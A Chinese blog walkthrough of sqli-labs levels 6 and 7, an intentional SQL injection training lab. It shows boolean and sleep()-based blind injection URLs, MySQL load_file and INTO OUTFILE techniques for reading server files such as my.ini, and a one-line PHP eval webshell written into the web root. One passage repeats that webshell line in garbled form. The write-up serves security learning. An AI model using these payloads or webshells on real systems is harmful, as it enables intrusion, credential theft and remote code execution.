sqli-labs 6-7 布尔型盲注 延时注入
Less-6
类型:布尔型盲注
这一关的的注入方法和第五关相同,只是sql查询语句不同
1 | http://43.247.91.228:84/Less-6/?id=1 ' and 1=2 --+ # 页面正常 |
这里通过看源码可知,是对id参数进行了处理
$id = '"'.$id.'"';
sql查询语句为$sql="SELECT * FROMusers WHERE id=$id LIMIT 0,1";
所以这里的只需要less-5中的语句中的单引号改为双引号就可以了
Less-7 Dump into Outfile
从这一关开始重视题目标题的作用,这一关的名字是 Dump into Outfile 意思是通过文件导入的方式进行注入,这里刚开始接触这种注入方式,所以详细写一下
导入导出相关操作的详解
以下摘自《MYSQL注入天书》
load_file()导出文件
Load_file(file_name):读取文件并返回该文件的内容作为一个字符串。
使用条件:
A 必须有权限读取并且文件必须完全可读and (selectcount(*) from mysql.user)>0/*
如果结果返回正常,说明具有读写权限。and (select count(*) from mysql.user)>0/*
返回错误,应该是管理员给数据库帐户降权
B、欲读取文件必须在服务器上
C、必须指定文件完整的路径
D、欲读取文件必须小于 max_allowed_packet
在实际注入中,有两个难点和要求
一、绝对物理路径
二、构造有效的畸形语句 (报错爆出绝对路径)
在很多 PHP 程序中,当提交一个错误的 Query,如果 display_errors = on,程序就会暴露
WEB 目录的绝对路径,只要知道路径,那么对于一个可以注入的 PHP 程序来说,整个服务
器的安全将受到严重的威胁。
文件导入到数据库
LOAD DATAINFILE 语句用于高速地从一个文本文件中读取行,并装入一个表中。文件名称必
须为一个文字字符串。
在注入过程中,我们往往需要一些特殊的文件,比如配置文件,密码文件等。当你具有数据
库的权限时,可以将系统文件利用 load data infile 导入到数据库中。
导入到文件
SELECT.....INTO OUTFILE 'file_name'
可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此您必须拥有 FILE
权限,才能使用此语法。file_name 不能是一个已经存在的文件。
我们一般有两种利用形式:
第一种直接将 select 内容导入到文件中:Select version() into outfile “c:\\phpnow\\htdocs\\test.php”
此处将 version()替换成一句话,<?php @eval($_post[“mima”])?>也即
Select <?php @eval(post[“mima”])?>也即Select<?php@eval(_post[“mima”])?>也即
Select <?php @eval(post[“mima”])?>也即Select<?php@eval($_post[“mima”])?> into outfile “c:\\phpnow\\htdocs\\test.php”
直接连接一句话就可以了,其实在 select 内容中不仅仅是可以上传一句话的,也可以上传很
多的内容。
第二种修改文件结尾:Select version() Into outfile “c:\\phpnow\\htdocs\\test.php” LINES TERMINATED BY 0x16
进制文
件
解释:通常是用‘\r\n’结尾,此处我们修改为自己想要的任何文件。同时可以用 FIELDSTERMINATED BY
16 进制可以为一句话或者其他任何的代码,可自行构造。在 sqlmap 中 os-shell 采取的就是
这样的方式,具体可参考 os-shell 分析文章:http://www.cnblogs.com/lcamry/p/5505110.html
TIPS:
(1)可能在文件路径当中要注意转义,这个要看具体的环境
(2)上述我们提到了 load_file(),但是当前台无法导出数据的时候,我们可以利用下面的语
句:
select load_file(‘c:\wamp\bin\mysql\mysql5.6.17\my.ini’)into outfile
‘c:\wamp\www\test.php’
可以利用该语句将服务器当中的内容导入到 web 服务器下的目录,这样就可以得到数据了。
上述 my.ini 当中存在 password 项(不过默认被注释),当然会有很多的内容可以被导出来,
这个要平时积累。
注入
当在地址后面加上 ‘)) or 1=1 –+时http://43.247.91.228:84/Less-7/?id=1 ')) --+
页面返回正常,显示You are in.... Use outfile......
按照文档中的提示,可以构造http://43.247.91.228:84/Less-7/?id=1 ')) union select 1,2,3 into outfile "c:\\wamp\\www\\sqllib\\Less-7\\uuu.txt" --+
来把uuu.txt保存到less-7的根目录,但是剧具体操作时,并没有在相应目录下生成,推测是目录没有设置正确,这需要推测网站的目录结构。
这种方式也可以将一句话木马导入进去
因此这里使用延时注入,延时注入就是使用sleep()函数,当页面错误时,会等待相应的时间
1 | http://43.247.91.228:84/Less-7/?id=1 ')) and if(ascii(substr(database(),1,1))=115,1,sleep(5)) --+ |
…以此类推,得出数据库为 security,接下来猜测security中的表
1 | http://43.247.91.228:84/Less-7/?id=1 ')) and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5)) --+ |
以此类推,前面也写过,这样就能够得到所有的表名,进一步可以推测表中的列名,以及表中的数据,这些都可以通过这这种方法得到。
本文作者 : W4rnIn9
原文链接 : http://joner11234.github.io/article/f865e8e3.html
版权声明 : 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明出处!